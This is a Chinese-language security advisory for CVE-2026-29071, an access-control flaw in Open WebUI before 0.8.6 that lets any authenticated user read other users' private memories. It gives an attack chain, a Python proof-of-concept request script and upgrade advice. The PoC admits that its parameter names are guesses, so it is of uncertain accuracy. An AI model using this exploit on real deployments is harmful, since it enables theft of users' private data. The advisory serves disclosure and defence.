IPBUF安全漏洞报告
English
CVE-2026-29071 CVSS 3.1 低危

CVE-2026-29071 Open WebUI越权读取漏洞

披露日期: 2026-03-27

漏洞信息

漏洞编号
CVE-2026-29071
漏洞类型
信息泄露
CVSS评分
3.1 低危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Open WebUI

相关标签

信息泄露越权读取IDOROpen WebUICVE-2026-29071

漏洞概述

Open WebUI是一个允许完全离线运行的自托管AI平台。在0.8.6版本之前,系统存在访问控制缺陷,任何经过身份验证的用户均可通过特定API端点读取其他用户的私有记忆数据。这导致用户隐私信息面临泄露风险,官方已在0.8.6版本中修复此问题。

技术细节

该漏洞的根源在于Open WebUI在处理特定API请求时,未能实施严格的权限隔离机制。具体而言,`/api/v1/retrieval/query/collection`接口存在越权访问缺陷。在受影响版本中,后端逻辑仅验证了请求发起者的登录状态,却忽略了当前用户对目标资源(私有记忆)的归属权验证。攻击者只需拥有一个普通账户,即可利用此漏洞,通过构造包含特定参数的API请求,直接访问并读取其他用户的私有记忆数据。这种典型的越权读取问题(IDOR)导致系统内部的敏感信息隔离失效,使得低权限用户能够获取高权限或同级用户的隐私数据,严重威胁平台的数据安全性。

攻击链分析

STEP 1
侦察与注册
攻击者发现目标运行Open WebUI,并注册一个普通用户账号。
STEP 2
身份验证
攻击者使用合法凭据登录系统,获取有效的Session或Token。
STEP 3
利用漏洞
攻击者构造HTTP请求发送至`/api/v1/retrieval/query/collection`接口,在请求参数中指定其他用户的ID或记忆集合ID。
STEP 4
数据窃取
由于后端未校验资源归属权,服务器返回目标用户的私有记忆数据,攻击者成功获取敏感信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "http://localhost:3000" username = "attacker" password = "attacker_password" # 1. Authenticate to obtain a session token login_payload = { "username": username, "password": password } session = requests.Session() login_resp = session.post(f"{target_url}/api/v1/auths/login", json=login_payload) if login_resp.status_code == 200: print("[+] Login successful") # Assuming session handles cookies, or extract token if needed # 2. Exploit the IDOR vulnerability # The endpoint /api/v1/retrieval/query/collection allows querying memories. # By modifying the collection_id or user_id in the request, # an attacker can read other users' private memories. exploit_url = f"{target_url}/api/v1/retrieval/query/collection" # Attempting to access a target collection (IDOR) # The actual parameter name might vary (e.g., 'id', 'collection_id', 'user_id') exploit_payload = { "collection_id": "victim_user_collection_id" } exploit_resp = session.post(exploit_url, json=exploit_payload) if exploit_resp.status_code == 200: print("[+] Exploit successful! Leaked data:") print(exploit_resp.text) else: print(f"[-] Request failed with status code: {exploit_resp.status_code}") else: print("[-] Login failed")

影响范围

Open WebUI < 0.8.6

防御指南

临时缓解措施
建议立即将Open WebUI升级至0.8.6或更高版本。如果无法立即升级,应在网络边界严格限制对该平台的访问,仅允许内网可信IP访问,并监控API日志中是否存在异常的查询请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表